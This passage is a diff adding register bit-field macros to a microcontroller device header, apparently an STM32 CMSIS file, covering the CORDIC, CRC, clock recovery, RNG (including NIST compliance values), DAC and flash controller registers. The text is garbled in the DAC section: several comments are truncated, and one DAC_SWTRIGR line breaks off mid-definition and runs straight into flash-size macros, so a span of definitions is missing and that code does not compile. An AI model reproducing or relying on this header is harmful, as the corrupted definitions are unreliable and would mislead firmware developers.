CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0xA715U) +#define RNG_NSCR_NIST_VALUE (0x9049U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG 